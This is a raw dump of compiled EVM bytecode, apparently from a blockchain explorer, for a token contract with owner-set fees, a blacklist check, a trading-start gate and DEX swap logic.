565b93506123b3565b60175460ff16156123b3575f808411801561237957505f83115b15612258576123888684613b1c565b6123928588613b75565b61239c9190613b8c565b90506123a88482613b4b565b821015612258575f80fd5b505050919050565b6001600160a01b0384165f908152600160205260409020546123de908390613b1c565b6001600160a01b0385165f9081526001602052604081209190915560646124058385613b75565b61240f9190613b8c565b9050801561242f5760035461242f9086906001600160a01b031683613037565b612443858561243e8487613b1c565b613037565b5050505050565b6001600160a01b0386165f9081526001602052604090205461246d908590613b1c565b6001600160a01b0387165f9081526001602052604081209190915583156127f5575f805f8086116125e95784156124ba576124a98a89876130ad565b6124b39085613b4b565b93506125e9565b6001600160a01b0389165f908152600a602052604090205460ff16156125295760019250612710601154896124ef9190613b75565b6124f99190613b8c565b9050612710600f5460105461250e9190613b4b565b612518908a613b75565b6125229190613b8c565b91506125e9565b6001600160a01b038a165f908152600a602052604090205460ff16156125cb5760145460ff1661259b5760405162461bcd60e51b815260206004820152601960248201527f427579696e67206973206e6f7420616c6c6f77656420796574000000000000006044820152606401610f8f565b612710600e54896125ac9190613b75565b6125b69190613b8c565b9050612710600c54600d5461250e9190613b4b565b612710601a54896125dc9190613b75565b6125e69190613b8c565b91505b8015612608576125f98185613b4b565b93506126088a61dead83613037565b8115612645576126188285613b4b565b93506126458a7f000000000000000000000000000000000000000000000000000000000000000084613037565b8280156126555750600b5460ff16155b156127f157602554612665610e78565b1115612757577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f90815260016020526040902054602354612710906126b49083613b75565b6126be9190613b8c565b8911156126c9575f80fd5b5f6127106024548b6126db9190613b75565b6126e59190613b8c565b90508082116126f2575f80fd5b8015612754576127058b61dead836131e5565b8a6001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561273d575f80fd5b505af115801561274f573d5f803e3d5ffd5b505050505b50505b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f9081526001602052604081205490606461279d8560e6613b75565b6127a79190613b8c565b9050818111156127b45750805b80156127e5576127e57f000000000000000000000000000000000000000000000000000000000000000030836131e5565b6127ee8161322b565b50505b5050505b612804878761243e8489613b1c565b50505050505050565b6020546040516370a0823160e01b815230600482015281907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906370a0823190602401602060405180830381865afa158015612874573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906128989190613b5e565b10156128a2575050565b6022546040516370a0823160e01b81526001600160a01b0391821660048201527f0000000000000000000000000000000000000000000000000000000000000000915f91908316906370a0823190602401602060405180830381865afa15801561290e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129329190613b5e565b6040516370a0823160e01b815261dead60048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015612976573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061299a9190613b5e565b836001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129fa9190613b5e565b612a049190613b1c565b612a0e9190613b1c565b9050805f03612a1d5750505050565b601c545f90819081908180805a90505f612a35610fc2565b90505b8b84108015612a4657508483105b15612bbd5784601f5410612a59575f601f555b601c601f5481548110612a6e57612a6e613bab565b5f9182526020808320909101546001600160a01b0316808352601e90915260409091205490985060ff16612b7c576040516370a0823160e01b81526001600160a01b0389811660048301528b16906370a0823190602401602060405180830381865afa158015612ae0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612b049190613b5e565b6001600160a01b0389165f9081526015602052604090205490975087811015612b2b578097505b818810612b7a5789612b3d898e613b75565b612b479190613b8c565b96508615612b7a57612b7a7f00000000000000000000000000000000000000000000000000000000000000008a896135bc565b505b5a612b879083613b1c565b612b919085613b4b565b93505a601f80549193505f612ba583613c16565b91905055508280612bb590613c16565b935050612a38565b505050505050505050505050565b5f805f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c2a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612c4e9190613b5e565b90505f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612cad573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612cd19190613c2e565b6001600160a01b031663017e7e586040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612d309190613c2e565b90505f806001600160a01b0316826001600160a01b0316141590505f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316637464fc3d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612da8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612dcc9190613b5e565b90508115612fbf578015612fbf575f612ded612de8898b613b75565b613669565b90505f612df983613669565b905080821115612fbc575f807310ed43c718714eb63d5aa57b78b54704e256024d197f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031601612e9257612e548385613b1c565b612e5e9089613b75565b612e69906008613b75565b9150612e76836008613b75565b612e81856011613b75565b612e8b9190613b4b565b9050612f9a565b73d99d1c33f9fc3444f8101754abc46c52416550d0197f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031601612ef957612ee18385613b1c565b612eeb9089613b75565b915082612e81856003613b75565b73e9d6f80028671279a28790bb4007b10b0595def0197f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031601612f6b57612f488385613b1c565b612f529089613b75565b612f5d906003613b75565b915082612e81856005613b75565b612f758385613b1c565b612f7f9089613b75565b915082612f8d856005613b75565b612f979190613b4b565b90505b612fa48183613b8c565b98508815612fb957612fb68989613b4b565b97505b50505b50505b5f612fca898c613b1c565b9050845f03612ff4576103e8612fe3612de88c84613b75565b612fed9190613b1c565b9650613029565b613026896130028784613b75565b61300c9190613b8c565b89613017888e613b75565b6130219190613b8c565b6136d7565b96505b505050505094509492505050565b6001600160a01b0382165f9081526001602052604090205461305a908290613b4b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c369085815260200190565b325f908152601560205260408120600181015481548391906130d0908690613b4b565b6130da9190613b1c565b90508380828111156130e95750815b5f811561316c576130fa8284613b1c565b925061271060185488848b61310f9190613b75565b6131199190613b8c565b6131239190613b75565b61312d9190613b8c565b90506131398187613b4b565b9550801561316c5761316c897f000000000000000000000000000000000000000000000000000000000000000083613037565b5f61271060195489868c6131809190613b75565b61318a9190613b8c565b6131949190613b75565b61319e9190613b8c565b905080156131bf576131b08188613b4b565b96506131bf8a61dead83613037565b83866001015f8282546131d29190613b1c565b90915550969a9950505050505050505050565b6001600160a01b0383165f90815260016020526040902054613208908290613b1c565b6001600160a01b0384165f90815260016020526040902055610e5d838383613037565b600b805460ff1916600117905580156135af575f600f54600c5461324f9190613b4b565b90505f601054600d54836132639190613b4b565b61326d9190613b4b565b90506132798180613b4b565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106132b1576132b1613bab565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000008160018151811061330557613305613bab565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81527f0000000000000000000000000000000000000000000000000000000000000000821660048201527f0000000000000000000000000000000000000000000000000000000000000000915f91908316906370a0823190602401602060405180830381865afa15801561339c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906133c09190613b5e565b604051635c11d79560e01b81529091506001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690635c11d795906134379089905f9088907f0000000000000000000000000000000000000000000000000000000000000000904290600401613c49565b5f604051808303815f87803b15801561344e575f80fd5b505af1158015613460573d5f803e3d5ffd5b50506040516370a0823160e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166004830152849350851691506370a0823190602401602060405180830381865afa1580156134ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906134ee9190613b5e565b6134f89190613b1c565b90506135467f00000000000000000000000000000000000000000000000000000000000000007f000000000000000000000000000000000000000000000000000000000000000030846136ee565b5f8482613554886002613b75565b61355e9190613b75565b6135689190613b8c565b905080156135a8576003546135a8907f0000000000000000000000000000000000000000000000000000000000000000906001600160a01b0316836135bc565b5050505050505b50600b805460ff19169055565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291515f928392908716916136179190613cb9565b5f604051808303815f865af19150503d805f8114613650576040519150601f19603f3d011682016040523d82523d5f602084013e613655565b606091505b509150915081801561145557505050505050565b5f60038211156136c85750805f613681600283613b8c565b61368c906001613b4b565b90505b818110156136c2579050806002816136a78186613b8c565b6136b19190613b4b565b6136bb9190613b8c565b905061368f565b50919050565b81156136d2575060015b919050565b5f8183106136e557816136e7565b825b9392505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291515f9287169161374d91613cb9565b5f604051808303815f865af19150503d805f8114613786576040519150601f19603f3d011682016040523d82523d5f602084013e61378b565b606091505b5050505050505050565b6001600160a01b03811681146121f7575f80fd5b80356136d281613795565b5f602082840312156137c4575f80fd5b81356136e781613795565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f805f60608486031215613816575f80fd5b833561382181613795565b925060208401359150604084013561383881613795565b809150509250925092565b5f8060408385031215613854575f80fd5b823561385f81613795565b946020939093013593505050565b80151581146121f7575f80fd5b5f806040838503121561388b575f80fd5b823561389681613795565b915060208301356138a68161386d565b809150509250929050565b5f805f606084860312156138c3575f80fd5b505081359360208301359350604090920135919050565b5f805f606084860312156138ec575f80fd5b83356138f781613795565b9250602084013561390781613795565b929592945050506040919091013590565b5f60208284031215613928575f80fd5b5035919050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112613952575f80fd5b813567ffffffffffffffff81111561396c5761396c61392f565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156139995761399961392f565b6040529182526020818501810192908101868411156139b6575f80fd5b6020860192505b838310156139dc576139ce836137a9565b8152602092830192016139bd565b5095945050505050565b5f80604083850312156139f7575f80fd5b823567ffffffffffffffff811115613a0d575f80fd5b613a1985828601613943565b95602094909401359450505050565b5f8060408385031215613a39575f80fd5b823567ffffffffffffffff811115613a4f575f80fd5b613a5b85828601613943565b92505060208301356138a68161386d565b5f8060408385031215613a7d575f80fd5b8235915060208301356138a681613795565b5f8060408385031215613aa0575f80fd5b8235613aab81613795565b915060208301356138a681613795565b600181811c90821680613acf57607f821691505b6020821081036136c257634e487b7160e01b5f52602260045260245ffd5b5f60208284031215613afd575f80fd5b81516136e78161386d565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610e7257610e72613b08565b602080825260029082015261216f60f01b604082015260600190565b80820180821115610e7257610e72613b08565b5f60208284031215613b6e575f80fd5b5051919050565b8082028115828204841417610e7257610e72613b08565b5f82613ba657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80516001600160701b03811681146136d2575f80fd5b5f805f60608486031215613be7575f80fd5b613bf084613bbf565b9250613bfe60208501613bbf565b9150604084015163ffffffff81168114613838575f80fd5b5f60018201613c2757613c27613b08565b5060010190565b5f60208284031215613c3e575f80fd5b81516136e781613795565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015613c995783516001600160a01b0316835260209384019390920191600101613c72565b50506001600160a01b039590951660608401525050608001529392505050565b5f82518060208501845e5f92019182525091905056fea2646970667358221220eb00a815a08ca4ac5a15199a30473b9b6b6f108fc50612ff2eacf9e5dd17be5e64736f6c634300081a0033608060405234801561000f575f80fd5b5060405161013938038061013983398101604081905261002e916100a3565b60405163095ea7b360e01b81523360048201525f1960248201526001600160a01b0382169063095ea7b3906044016020604051808303815f875af1158015610078573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061009c91906100d0565b50506100ef565b5f602082840312156100b3575f80fd5b81516001600160a01b03811681146100c9575f80fd5b9392505050565b5f602082840312156100e0575f80fd5b815180151581146100c9575f80fd5b603e806100fb5f395ff3fe60806040525f80fdfea26469706673582212205c571aafa338c8113f923c1fdd7f826f14ca8a6091acdac16b71e3ffad6ebe4d64736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610424575f3560e01c806372162cb611610220578063a925a6bd11610129578063dd55c108116100b3578063e84fb12d11610078578063e84fb12d14610cad578063ef34db6914610cc2578063f2fde38b14610ced578063f53dabb614610d0c578063ff65226c14610d2b575f80fd5b8063dd55c10814610bf7578063dd62ed3e14610c0c578063de5c02c214610c50578063e24b04a814610c6f578063e82bef2914610c8e575f80fd5b8063cd8d263d116100f9578063cd8d263d14610b61578063ce0192f914610b80578063ce4d9f1514610b95578063d4a6793014610bc4578063d895237414610bd8575f80fd5b8063a925a6bd14610aef578063b2887bec14610b04578063b6a0735914610b23578063cbb4683214610b42575f80fd5b80638f02bb5b116101aa5780639bb853441161017a5780639bb8534414610a5e578063a1f0e73d14610a73578063a5696d8914610a92578063a842486114610ab1578063a9059cbb14610ad0575f80fd5b80638f02bb5b146109ed578063917ceeb514610a0c57806395d89b4114610a2b57806397dad33914610a3f575f80fd5b806379353c08116101f057806379353c08146109555780637a37a0ed1461096a5780637ae290f81461099357806385dc3004146109b25780638da5cb5b146109d1575f80fd5b806372162cb6146108d05780637355b15b1461090357806374d002f114610922578063756b419014610936575f80fd5b8063313ce5671161032d578063595dec3c116102b75780636ae5e5691161027c5780636ae5e569146108405780636c5808011461085f5780636e986dcc1461087357806370a0823114610888578063715018a6146108bc575f80fd5b8063595dec3c1461078e5780635ef01957146107bc57806361b746f2146107d15780636386c1c7146107e6578063652421e41461082b575f80fd5b80633c11100d116102fd5780633c11100d146106cc5780633df9a8d2146106fa5780634188bf5a1461070f57806353ad66161461075a578063553193ca14610779575f80fd5b8063313ce5671461066c57806337e5ccf71461068d5780633ae0ca3d146106a25780633bfe62ca146106b7575f80fd5b806314e3afa2116103ae5780632171dcc91161037e5780632171dcc9146105cc57806323b872dd146105eb57806325519cf21461060a578063297ac6de146106295780632b01fc941461063e575f80fd5b806314e3afa214610570578063165728b51461058557806318160ddd146105995780631d865c30146105ad575f80fd5b80630830c4ad116103f45780630830c4ad146104da578063095ea7b3146104fb5780630a6079301461051a5780630ca7b7971461053d578063141ae56614610551575f80fd5b806301873d8f1461042f57806301986fad1461047257806304c23ffe146104a057806306fdde03146104b9575f80fd5b3661042b57005b5f80fd5b34801561043a575f80fd5b5061045d6104493660046137b4565b60166020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561047d575f80fd5b5061045d61048c3660046137b4565b60076020525f908152604090205460ff1681565b3480156104ab575f80fd5b5060175461045d9060ff1681565b3480156104c4575f80fd5b506104cd610d44565b60405161046991906137cf565b3480156104e5575f80fd5b506104f96104f4366004613804565b610dd4565b005b348015610506575f80fd5b5061045d610515366004613843565b610e62565b348015610525575f80fd5b5061052f60105481565b604051908152602001610469565b348015610548575f80fd5b5061052f610e78565b34801561055c575f80fd5b506104f961056b36600461387a565b610f66565b34801561057b575f80fd5b5061052f60195481565b348015610590575f80fd5b5061052f610fc2565b3480156105a4575f80fd5b5060095461052f565b3480156105b8575f80fd5b506104f96105c73660046138b1565b61107e565b3480156105d7575f80fd5b506104f96105e636600461387a565b6110b8565b3480156105f6575f80fd5b5061045d6106053660046138da565b61110b565b348015610615575f80fd5b506104f96106243660046138b1565b61119d565b348015610634575f80fd5b5061052f60115481565b348015610649575f80fd5b5061045d6106583660046137b4565b601e6020525f908152604090205460ff1681565b348015610677575f80fd5b5060065460405160ff9091168152602001610469565b348015610698575f80fd5b5061052f600e5481565b3480156106ad575f80fd5b5061052f60255481565b3480156106c2575f80fd5b5061052f600f5481565b3480156106d7575f80fd5b5061045d6106e63660046137b4565b600a6020525f908152604090205460ff1681565b348015610705575f80fd5b5061052f601a5481565b34801561071a575f80fd5b506107427f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b1081565b6040516001600160a01b039091168152602001610469565b348015610765575f80fd5b506104f9610774366004613918565b6111d7565b348015610784575f80fd5b5061052f60125481565b348015610799575f80fd5b5061045d6107a83660046137b4565b60086020525f908152604090205460ff1681565b3480156107c7575f80fd5b5061052f60185481565b3480156107dc575f80fd5b5061052f601f5481565b3480156107f1575f80fd5b506108056108003660046137b4565b611205565b604080519485526020850193909352901515918301919091526060820152608001610469565b348015610836575f80fd5b5061052f60245481565b34801561084b575f80fd5b506104f961085a366004613918565b6112d2565b34801561086a575f80fd5b506104f9611300565b34801561087e575f80fd5b5061052f60235481565b348015610893575f80fd5b5061052f6108a23660046137b4565b6001600160a01b03165f9081526001602052604090205490565b3480156108c7575f80fd5b506104f9611369565b3480156108db575f80fd5b506107427f000000000000000000000000649736474c8c0a876520a165908fccfab0711fa281565b34801561090e575f80fd5b506104f961091d3660046139e6565b6113da565b34801561092d575f80fd5b50601c5461052f565b348015610941575f80fd5b506104f9610950366004613a28565b61145e565b348015610960575f80fd5b5061052f60215481565b348015610975575f80fd5b5061097e6114e1565b60408051928352602083019190915201610469565b34801561099e575f80fd5b50602254610742906001600160a01b031681565b3480156109bd575f80fd5b506104f96109cc3660046137b4565b6115c6565b3480156109dc575f80fd5b505f546001600160a01b0316610742565b3480156109f8575f80fd5b506104f9610a07366004613918565b61164e565b348015610a17575f80fd5b506104f9610a26366004613918565b61167c565b348015610a36575f80fd5b506104cd6116f6565b348015610a4a575f80fd5b506104f9610a59366004613918565b611705565b348015610a69575f80fd5b5061052f60135481565b348015610a7e575f80fd5b506104f9610a8d3660046137b4565b611733565b348015610a9d575f80fd5b506104f9610aac366004613843565b611795565b348015610abc575f80fd5b506104f9610acb36600461387a565b6117cf565b348015610adb575f80fd5b5061045d610aea366004613843565b611822565b348015610afa575f80fd5b5061052f600d5481565b348015610b0f575f80fd5b506104f9610b1e366004613a28565b61182e565b348015610b2e575f80fd5b506104f9610b3d366004613918565b6118b1565b348015610b4d575f80fd5b506104f9610b5c366004613a6c565b6118df565b348015610b6c575f80fd5b506104f9610b7b366004613918565b611929565b348015610b8b575f80fd5b5061052f600c5481565b348015610ba0575f80fd5b50610ba9611957565b60408051938452602084019290925290820152606001610469565b348015610bcf575f80fd5b506104f9611a19565b348015610be3575f80fd5b506104f9610bf23660046137b4565b611a51565b348015610c02575f80fd5b5061052f60205481565b348015610c17575f80fd5b5061052f610c26366004613a8f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610c5b575f80fd5b50610742610c6a366004613918565b611aa1565b348015610c7a575f80fd5b506104f9610c89366004613918565b611ac9565b348015610c99575f80fd5b50600354610742906001600160a01b031681565b348015610cb8575f80fd5b5061052f601b5481565b348015610ccd575f80fd5b5061052f610cdc3660046137b4565b601d6020525f908152604090205481565b348015610cf8575f80fd5b506104f9610d073660046137b4565b611af7565b348015610d17575f80fd5b506104f9610d26366004613918565b611bb4565b348015610d36575f80fd5b5060145461045d9060ff1681565b606060048054610d5390613abb565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7f90613abb565b8015610dca5780601f10610da157610100808354040283529160200191610dca565b820191905f5260205f20905b815481529060010190602001808311610dad57829003601f168201915b5050505050905090565b335f9081526007602052604090205460ff1615610e5d5760405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610e37573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5b9190613aed565b505b505050565b5f610e6e338484611be2565b5060015b92915050565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d546001600160a01b037f000000000000000000000000649736474c8c0a876520a165908fccfab0711fa281165f9081526040808220547fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4954308452828420547f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b109095168452918320546009549395949193610f399190613b1c565b610f439190613b1c565b610f4d9190613b1c565b610f579190613b1c565b610f619190613b1c565b905090565b5f546001600160a01b03163314610f985760405162461bcd60e51b8152600401610f8f90613b2f565b60405180910390fd5b6001600160a01b03919091165f908152601e60205260409020805460ff1916911515919091179055565b5f80610fcc6114e1565b509050610fd98180613b4b565b90505f7f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b106001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611038573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061105c9190613b5e565b9050818160215461106d9190613b75565b6110779190613b8c565b9250505090565b5f546001600160a01b031633146110a75760405162461bcd60e51b8152600401610f8f90613b2f565b601091909155600f91909155601155565b5f546001600160a01b031633146110e15760405162461bcd60e51b8152600401610f8f90613b2f565b6001600160a01b03919091165f908152601660205260409020805460ff1916911515919091179055565b5f611117848484611c43565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914611193576001600160a01b0384165f90815260026020908152604080832033845290915290205461116f908390613b1c565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146111c65760405162461bcd60e51b8152600401610f8f90613b2f565b600d91909155600c91909155600e55565b5f546001600160a01b031633146112005760405162461bcd60e51b8152600401610f8f90613b2f565b602555565b6040516370a0823160e01b81526001600160a01b0382811660048301525f918291829182917f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b1016906370a0823190602401602060405180830381865afa158015611271573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112959190613b5e565b6001600160a01b039095165f908152601e60209081526040808320546015909252909120805460019190910154909760ff90921695509350915050565b5f546001600160a01b031633146112fb5760405162461bcd60e51b8152600401610f8f90613b2f565b602355565b5f546001600160a01b031633146113295760405162461bcd60e51b8152600401610f8f90613b2f565b601254156113635760405162461bcd60e51b815260206004820152600760248201526674726164696e6760c81b6044820152606401610f8f565b43601255565b5f546001600160a01b031633146113925760405162461bcd60e51b8152600401610f8f90613b2f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b335f9081526007602052604090205460ff161561145a5781515f80805b838110156114555785818151811061141157611411613bab565b6020908102919091018101516001600160a01b0381165f9081526015909252604090912086815560018101879055909350915061144d8361212d565b6001016113f7565b505050505b5050565b5f546001600160a01b031633146114875760405162461bcd60e51b8152600401610f8f90613b2f565b5f5b8251811015610e5d578160085f8584815181106114a8576114a8613bab565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101611489565b5f805f7f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b1090505f80826001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611545573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115699190613bd5565b506001600160701b0391821693501690507f00000000000000000000000055d398326f99059ff775485246999027b3197955306001600160a01b03821610156115b7578295508194506115be565b8195508294505b505050509091565b5f546001600160a01b031633146115ef5760405162461bcd60e51b8152600401610f8f90613b2f565b600380546001600160a01b0319166001600160a01b0383169081179091555f908152600760205260409020805460ff19166001179055611631600a5f19613b8c565b6003546001600160a01b03165f9081526015602052604090205550565b5f546001600160a01b031633146116775760405162461bcd60e51b8152600401610f8f90613b2f565b601a55565b5f546001600160a01b031633146116a55760405162461bcd60e51b8152600401610f8f90613b2f565b62030d4081101580156116bb5750621e84808111155b6116f15760405162461bcd60e51b815260206004820152600760248201526632302d3230307760c81b6044820152606401610f8f565b601b55565b606060058054610d5390613abb565b5f546001600160a01b0316331461172e5760405162461bcd60e51b8152600401610f8f90613b2f565b602155565b5f546001600160a01b0316331461175c5760405162461bcd60e51b8152600401610f8f90613b2f565b602280546001600160a01b039092166001600160a01b0319909216821790555f908152601e60205260409020805460ff19166001179055565b335f9081526007602052604090205460ff161561145a576001600160a01b0382165f908152601560205260409020818155610e5d8361212d565b5f546001600160a01b031633146117f85760405162461bcd60e51b8152600401610f8f90613b2f565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b5f610e6e338484611c43565b5f546001600160a01b031633146118575760405162461bcd60e51b8152600401610f8f90613b2f565b5f5b8251811015610e5d578160075f85848151811061187857611878613bab565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101611859565b5f546001600160a01b031633146118da5760405162461bcd60e51b8152600401610f8f90613b2f565b601955565b335f9081526007602052604090205460ff161561145a576040516001600160a01b0382169083156108fc029084905f818181858888f19350505050158015610e5d573d5f803e3d5ffd5b5f546001600160a01b031633146119525760405162461bcd60e51b8152600401610f8f90613b2f565b601855565b5f805f6119626114e1565b6040516370a0823160e01b81526001600160a01b037f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b10811660048301529295509093507f00000000000000000000000055d398326f99059ff775485246999027b3197955909116906370a0823190602401602060405180830381865afa1580156119ee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a129190613b5e565b9050909192565b5f546001600160a01b03163314611a425760405162461bcd60e51b8152600401610f8f90613b2f565b6014805460ff19166001179055565b5f546001600160a01b03163314611a7a5760405162461bcd60e51b8152600401610f8f90613b2f565b611a86600a5f19613b8c565b6001600160a01b039091165f90815260156020526040902055565b601c8181548110611ab0575f80fd5b5f918252602090912001546001600160a01b0316905081565b5f546001600160a01b03163314611af25760405162461bcd60e51b8152600401610f8f90613b2f565b602455565b5f546001600160a01b03163314611b205760405162461bcd60e51b8152600401610f8f90613b2f565b6001600160a01b038116611b5b5760405162461bcd60e51b815260206004820152600260248201526106e360f41b6044820152606401610f8f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314611bdd5760405162461bcd60e51b8152600401610f8f90613b2f565b602055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f9081526008602052604090205460ff161580611c8157506001600160a01b0383165f9081526007602052604090205460ff165b80611ca357506001600160a01b0383165f908152600a602052604090205460ff165b611cdb5760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610f8f565b6001600160a01b0383165f9081526001602052604090205481811015611d295760405162461bcd60e51b8152602060048201526003602482015262424e4560e81b6044820152606401610f8f565b6001600160a01b0384165f9081526007602052604081205460ff16158015611d6957506001600160a01b0384165f9081526007602052604090205460ff16155b15611dd557846001600160a01b03167f00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e6001600160a01b031614611dd5575f612710611db78461270f613b75565b611dc19190613b8c565b905080841115611dcf578093505b60019150505b5f3290505f807f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b106001600160a01b0316876001600160a01b0316148015611e2a5750335f9081526016602052604090205460ff165b8015611e475750876001600160a01b0316836001600160a01b0316145b15611eaf57611e55866121fa565b90508015611eaf576001600160a01b0383165f908152601560205260408120805490935082918491611e88908490613b4b565b90915550506012545f03611eaf5780826001015f828254611ea99190613b4b565b90915550505b5f7f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b106001600160a01b0316896001600160a01b031603611f6d57611ef287612261565b90508015611f6d576001600160a01b0384165f90815260156020526040902054811115611f1d575f80fd5b6001600160a01b0384165f9081526015602052604081208054839290611f44908490613b1c565b90915550506001600160a01b0384165f9081526007602052604090205460ff1615611f6d575f94505b6001600160a01b0389165f908152600a602052604090205460ff1680611faa57506001600160a01b0388165f908152600a602052604090205460ff165b156120c7576013545f0361201a576001600160a01b0389165f9081526007602052604090205460ff16801561201057507f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b106001600160a01b0316886001600160a01b0316145b1561201a57436013555b6001600160a01b0389165f9081526007602052604090205460ff1615801561205a57506001600160a01b0388165f9081526007602052604090205460ff16155b156120c7576012545f03612085576013545f10801561207857505f82115b612080575f80fd5b6120c7565b81158015612091575080155b80156120aa575060036012546120a79190613b4b565b43105b156120c7576120bc89898960636123bb565b505050505050505050565b6120d589898988868661244a565b6001600160a01b03891630146120bc5781156120f9576120f48961212d565b6120bc565b84156120bc57601b546121216064612112836032613b75565b61211c9190613b8c565b61280d565b50505050505050505050565b6001600160a01b0381165f908152601d602052604081205490036121f757601c5415806121895750806001600160a01b0316601c5f8154811061217257612172613bab565b5f918252602090912001546001600160a01b031614155b156121f757803b801561219a575050565b50601c80546001600160a01b0383165f818152601d60205260408120839055600183018455929092527f0e4562a10381dec21b205ed72637e6b1b523bdd0e4d4d50af5cd23dd4500a2110180546001600160a01b03191690911790555b50565b5f805f80612206611957565b9250925092505f808411801561221b57505f83115b15612238578261222b8588613b75565b6122359190613b8c565b90505b6122428185613b4b565b82106122585761225482878686612bcb565b5094505b50505050919050565b5f805f8061226d611957565b9250925092508281101561235f57846122ba7f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b106001600160a01b03165f9081526001602052604090205490565b6122c49190613b1c565b7f000000000000000000000000d1c2d8bbba177a3bc9cc343f6688d92ed1e20b106001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612320573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123449190613b5e565b61234e9087613b75565b6123589190613b8c565b93506123b3565b60175460ff16156123b3575f808411801561237957505f83115b15612258576123888684613b1c565b6123928588613b75565b61239c9190613b8c565b90506123a88482613b4b565b821015612258575f80fd5b505050919050565b6001600160a01b0384165f908152600160205260409020546